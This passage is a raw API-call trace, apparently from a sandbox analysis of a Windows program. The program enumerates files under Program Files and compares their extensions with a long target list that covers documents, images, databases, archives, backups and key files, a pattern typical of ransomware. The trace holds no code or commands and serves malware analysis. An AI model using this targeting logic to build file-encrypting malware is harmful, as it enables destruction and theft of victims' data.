	[0181.277] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pdf") returned 4
	[0181.277] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pdp") returned 4
	[0181.277] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pef") returned 4
	[0181.277] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pem") returned 4
	[0181.277] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pff") returned 4
	[0181.278] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0181.278] lstrlenW (lpString=".pfm") returned 4
	[0181.278] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0181.278] lstrlenW (lpString=".pfx") returned 4
	[0181.278] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0181.278] lstrlenW (lpString=".pgm") returned 4
	[0181.278] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0181.278] lstrlenW (lpString=".php") returned 4
	[0181.278] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0181.278] lstrlenW (lpString=".php3") returned 5
	[0181.278] lstrcmpiW (lpString1=".php3", lpString2="s.exe") returned -1
	[0181.278] lstrlenW (lpString=".php4") returned 5
	[0181.278] lstrcmpiW (lpString1=".php4", lpString2="s.exe") returned -1
	[0181.278] lstrlenW (lpString=".php5") returned 5
	[0181.278] lstrcmpiW (lpString1=".php5", lpString2="s.exe") returned -1
	[0181.278] lstrlenW (lpString=".phtml") returned 6
	[0181.278] lstrcmpiW (lpString1=".phtml", lpString2="es.exe") returned -1
	[0181.278] lstrlenW (lpString=".pict") returned 5
	[0181.278] lstrcmpiW (lpString1=".pict", lpString2="s.exe") returned -1
	[0181.278] lstrlenW (lpString=".pl") returned 3
	[0181.278] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0181.278] lstrlenW (lpString=".pls") returned 4
	[0181.278] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0181.278] lstrlenW (lpString=".pm") returned 3
	[0181.278] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0181.278] lstrlenW (lpString=".png") returned 4
	[0181.278] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0181.278] lstrlenW (lpString=".pnm") returned 4
	[0181.278] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0181.278] lstrlenW (lpString=".pot") returned 4
	[0181.278] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0181.278] lstrlenW (lpString=".potm") returned 5
	[0181.278] lstrcmpiW (lpString1=".potm", lpString2="s.exe") returned -1
	[0181.278] lstrlenW (lpString=".potx") returned 5
	[0181.278] lstrcmpiW (lpString1=".potx", lpString2="s.exe") returned -1
	[0181.278] lstrlenW (lpString=".ppa") returned 4
	[0181.278] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".ppam") returned 5
	[0181.279] lstrcmpiW (lpString1=".ppam", lpString2="s.exe") returned -1
	[0181.279] lstrlenW (lpString=".ppm") returned 4
	[0181.279] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".pps") returned 4
	[0181.279] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".ppsm") returned 5
	[0181.279] lstrcmpiW (lpString1=".ppsm", lpString2="s.exe") returned -1
	[0181.279] lstrlenW (lpString=".ppt") returned 4
	[0181.279] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".pptm") returned 5
	[0181.279] lstrcmpiW (lpString1=".pptm", lpString2="s.exe") returned -1
	[0181.279] lstrlenW (lpString=".pptx") returned 5
	[0181.279] lstrcmpiW (lpString1=".pptx", lpString2="s.exe") returned -1
	[0181.279] lstrlenW (lpString=".prn") returned 4
	[0181.279] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".ps") returned 3
	[0181.279] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0181.279] lstrlenW (lpString=".psb") returned 4
	[0181.279] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".psd") returned 4
	[0181.279] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".pst") returned 4
	[0181.279] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".ptx") returned 4
	[0181.279] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".pub") returned 4
	[0181.279] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".pwm") returned 4
	[0181.279] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0181.279] lstrlenW (lpString=".pxr") returned 4
	[0181.280] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0181.280] lstrlenW (lpString=".py") returned 3
	[0181.280] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0181.280] lstrlenW (lpString=".qt") returned 3
	[0181.280] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0181.280] lstrlenW (lpString=".r3d") returned 4
	[0181.280] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0181.280] lstrlenW (lpString=".raf") returned 4
	[0181.280] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0181.280] lstrlenW (lpString=".rar") returned 4
	[0181.280] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0181.280] lstrlenW (lpString=".raw") returned 4
	[0181.280] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1
	[0181.280] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963430c, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7963430c, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7963430c, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x22c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1
	[0181.280] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abd1547, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x206cbb35, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4abd1547, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1db800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1
	[0181.280] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1
	[0181.280] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1
	[0181.281] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0
	[0181.281] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0181.281] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0181.281] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0181.281] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0181.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0181.282] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.282] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51631140, ftCreationTime.dwHighDateTime=0x1d58dbd, ftLastAccessTime.dwLowDateTime=0x782ae540, ftLastAccessTime.dwHighDateTime=0x1d5b53c, ftLastWriteTime.dwLowDateTime=0x782ae540, ftLastWriteTime.dwHighDateTime=0x1d5b53c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1
	[0181.282] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0181.282] lstrlenW (lpString=".1cd") returned 4
	[0181.282] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0181.282] lstrlenW (lpString=".3ds") returned 4
	[0181.282] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0181.282] lstrlenW (lpString=".3fr") returned 4
	[0181.282] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0181.282] lstrlenW (lpString=".3g2") returned 4
	[0181.282] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0181.282] lstrlenW (lpString=".3gp") returned 4
	[0181.282] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0181.283] lstrlenW (lpString=".7z") returned 3
	[0181.283] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0181.283] lstrlenW (lpString=".accda") returned 6
	[0181.283] lstrcmpiW (lpString1=".accda", lpString2="et.exe") returned -1
	[0181.283] lstrlenW (lpString=".accdb") returned 6
	[0181.283] lstrcmpiW (lpString1=".accdb", lpString2="et.exe") returned -1
	[0181.283] lstrlenW (lpString=".accdc") returned 6
	[0181.283] lstrcmpiW (lpString1=".accdc", lpString2="et.exe") returned -1
	[0181.314] lstrlenW (lpString=".accde") returned 6
	[0181.314] lstrcmpiW (lpString1=".accde", lpString2="et.exe") returned -1
	[0181.315] lstrlenW (lpString=".accdt") returned 6
	[0181.315] lstrcmpiW (lpString1=".accdt", lpString2="et.exe") returned -1
	[0181.315] lstrlenW (lpString=".accdw") returned 6
	[0181.315] lstrcmpiW (lpString1=".accdw", lpString2="et.exe") returned -1
	[0181.315] lstrlenW (lpString=".adb") returned 4
	[0181.315] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".adp") returned 4
	[0181.315] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".ai") returned 3
	[0181.315] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0181.315] lstrlenW (lpString=".ai3") returned 4
	[0181.315] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".ai4") returned 4
	[0181.315] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".ai5") returned 4
	[0181.315] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".ai6") returned 4
	[0181.315] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".ai7") returned 4
	[0181.315] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".ai8") returned 4
	[0181.315] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".anim") returned 5
	[0181.315] lstrcmpiW (lpString1=".anim", lpString2="t.exe") returned -1
	[0181.315] lstrlenW (lpString=".arw") returned 4
	[0181.315] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".as") returned 3
	[0181.315] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0181.315] lstrlenW (lpString=".asa") returned 4
	[0181.315] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".asc") returned 4
	[0181.315] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0181.315] lstrlenW (lpString=".ascx") returned 5
	[0181.315] lstrcmpiW (lpString1=".ascx", lpString2="t.exe") returned -1
	[0181.316] lstrlenW (lpString=".asm") returned 4
	[0181.316] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".asmx") returned 5
	[0181.316] lstrcmpiW (lpString1=".asmx", lpString2="t.exe") returned -1
	[0181.316] lstrlenW (lpString=".asp") returned 4
	[0181.316] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".aspx") returned 5
	[0181.316] lstrcmpiW (lpString1=".aspx", lpString2="t.exe") returned -1
	[0181.316] lstrlenW (lpString=".asr") returned 4
	[0181.316] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".asx") returned 4
	[0181.316] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".avi") returned 4
	[0181.316] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".avs") returned 4
	[0181.316] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".backup") returned 7
	[0181.316] lstrcmpiW (lpString1=".backup", lpString2="net.exe") returned -1
	[0181.316] lstrlenW (lpString=".bak") returned 4
	[0181.316] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".bay") returned 4
	[0181.316] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".bd") returned 3
	[0181.316] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0181.316] lstrlenW (lpString=".bin") returned 4
	[0181.316] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".bmp") returned 4
	[0181.316] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".bz2") returned 4
	[0181.316] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0181.316] lstrlenW (lpString=".c") returned 2
	[0181.316] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0181.317] lstrlenW (lpString=".cdr") returned 4
	[0181.317] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".cer") returned 4
	[0181.317] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".cf") returned 3
	[0181.317] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0181.317] lstrlenW (lpString=".cfc") returned 4
	[0181.317] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".cfm") returned 4
	[0181.317] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".cfml") returned 5
	[0181.317] lstrcmpiW (lpString1=".cfml", lpString2="t.exe") returned -1
	[0181.317] lstrlenW (lpString=".cfu") returned 4
	[0181.317] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".chm") returned 4
	[0181.317] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".cin") returned 4
	[0181.317] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".class") returned 6
	[0181.317] lstrcmpiW (lpString1=".class", lpString2="et.exe") returned -1
	[0181.317] lstrlenW (lpString=".clx") returned 4
	[0181.317] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".config") returned 7
	[0181.317] lstrcmpiW (lpString1=".config", lpString2="net.exe") returned -1
	[0181.317] lstrlenW (lpString=".cpp") returned 4
	[0181.317] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".cr2") returned 4
	[0181.317] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".crt") returned 4
	[0181.317] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".crw") returned 4
	[0181.317] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0181.317] lstrlenW (lpString=".cs") returned 3
	[0181.318] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0181.318] lstrlenW (lpString=".css") returned 4
	[0181.318] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".csv") returned 4
	[0181.318] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".cub") returned 4
	[0181.318] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".dae") returned 4
	[0181.318] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".dat") returned 4
	[0181.318] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".db") returned 3
	[0181.318] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0181.318] lstrlenW (lpString=".dbf") returned 4
	[0181.318] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".dbx") returned 4
	[0181.318] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".dc3") returned 4
	[0181.318] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".dcm") returned 4
	[0181.318] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".dcr") returned 4
	[0181.318] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".der") returned 4
	[0181.318] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".dib") returned 4
	[0181.318] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".dic") returned 4
	[0181.318] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".dif") returned 4
	[0181.318] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0181.318] lstrlenW (lpString=".divx") returned 5
	[0181.318] lstrcmpiW (lpString1=".divx", lpString2="t.exe") returned -1
	[0181.318] lstrlenW (lpString=".djvu") returned 5
	[0181.319] lstrcmpiW (lpString1=".djvu", lpString2="t.exe") returned -1
	[0181.319] lstrlenW (lpString=".dng") returned 4
	[0181.319] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0181.319] lstrlenW (lpString=".doc") returned 4
	[0181.319] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0181.319] lstrlenW (lpString=".docm") returned 5
	[0181.319] lstrcmpiW (lpString1=".docm", lpString2="t.exe") returned -1
	[0181.319] lstrlenW (lpString=".docx") returned 5
	[0181.319] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0181.319] lstrlenW (lpString=".dot") returned 4
	[0181.319] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0181.319] lstrlenW (lpString=".dotm") returned 5
	[0181.319] lstrcmpiW (lpString1=".dotm", lpString2="t.exe") returned -1
	[0181.319] lstrlenW (lpString=".dotx") returned 5
	[0181.319] lstrcmpiW (lpString1=".dotx", lpString2="t.exe") returned -1
	[0181.319] lstrlenW (lpString=".dpx") returned 4
	[0181.319] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".dqy") returned 4
	[0181.329] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".dsn") returned 4
	[0181.329] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".dt") returned 3
	[0181.329] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0181.329] lstrlenW (lpString=".dtd") returned 4
	[0181.329] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".dwg") returned 4
	[0181.329] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".dwt") returned 4
	[0181.329] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".dx") returned 3
	[0181.329] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0181.329] lstrlenW (lpString=".dxf") returned 4
	[0181.329] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".edml") returned 5
	[0181.329] lstrcmpiW (lpString1=".edml", lpString2="t.exe") returned -1
	[0181.329] lstrlenW (lpString=".efd") returned 4
	[0181.329] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".elf") returned 4
	[0181.329] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".emf") returned 4
	[0181.329] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".emz") returned 4
	[0181.329] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0181.329] lstrlenW (lpString=".epf") returned 4
	[0181.329] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0181.330] lstrlenW (lpString=".eps") returned 4
	[0181.330] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0181.330] lstrlenW (lpString=".epsf") returned 5
	[0181.330] lstrcmpiW (lpString1=".epsf", lpString2="t.exe") returned -1
	[0181.330] lstrlenW (lpString=".epsp") returned 5
	[0181.330] lstrcmpiW (lpString1=".epsp", lpString2="t.exe") returned -1
	[0181.330] lstrlenW (lpString=".erf") returned 4
	[0181.330] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0181.330] lstrlenW (lpString=".exr") returned 4
	[0181.330] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0181.330] lstrlenW (lpString=".f4v") returned 4
	[0181.330] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0181.330] lstrlenW (lpString=".fido") returned 5
	[0181.330] lstrcmpiW (lpString1=".fido", lpString2="t.exe") returned -1
	[0181.330] lstrlenW (lpString=".flm") returned 4
	[0181.330] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0181.330] lstrlenW (lpString=".flv") returned 4
	[0181.330] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0181.330] lstrlenW (lpString=".frm") returned 4
	[0181.330] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0181.330] lstrlenW (lpString=".fxg") returned 4
	[0181.330] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0181.330] lstrlenW (lpString=".geo") returned 4
	[0181.330] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0181.330] lstrlenW (lpString=".gif") returned 4
	[0181.330] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0181.330] lstrlenW (lpString=".grs") returned 4
	[0181.331] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0181.331] lstrlenW (lpString=".gz") returned 3
	[0181.331] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0181.331] lstrlenW (lpString=".h") returned 2
	[0181.331] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0181.331] lstrlenW (lpString=".hdr") returned 4
	[0181.331] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0181.331] lstrlenW (lpString=".hpp") returned 4
	[0181.331] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0181.331] lstrlenW (lpString=".hta") returned 4
	[0181.331] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0181.331] lstrlenW (lpString=".htc") returned 4
	[0181.331] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0181.331] lstrlenW (lpString=".htm") returned 4
	[0181.331] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0181.331] lstrlenW (lpString=".html") returned 5
	[0181.331] lstrcmpiW (lpString1=".html", lpString2="t.exe") returned -1
	[0181.331] lstrlenW (lpString=".icb") returned 4
	[0181.331] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0181.331] lstrlenW (lpString=".ics") returned 4
	[0181.332] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0181.332] lstrlenW (lpString=".iff") returned 4
	[0181.332] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0181.332] lstrlenW (lpString=".inc") returned 4
	[0181.332] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0181.332] lstrlenW (lpString=".indd") returned 5
	[0181.332] lstrcmpiW (lpString1=".indd", lpString2="t.exe") returned -1
	[0181.332] lstrlenW (lpString=".ini") returned 4
	[0181.332] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0181.332] lstrlenW (lpString=".iqy") returned 4
	[0181.332] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0181.332] lstrlenW (lpString=".j2c") returned 4
	[0181.332] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0181.332] lstrlenW (lpString=".j2k") returned 4
	[0181.332] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0181.332] lstrlenW (lpString=".java") returned 5
	[0181.332] lstrcmpiW (lpString1=".java", lpString2="t.exe") returned -1
	[0181.332] lstrlenW (lpString=".jp2") returned 4
	[0181.332] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
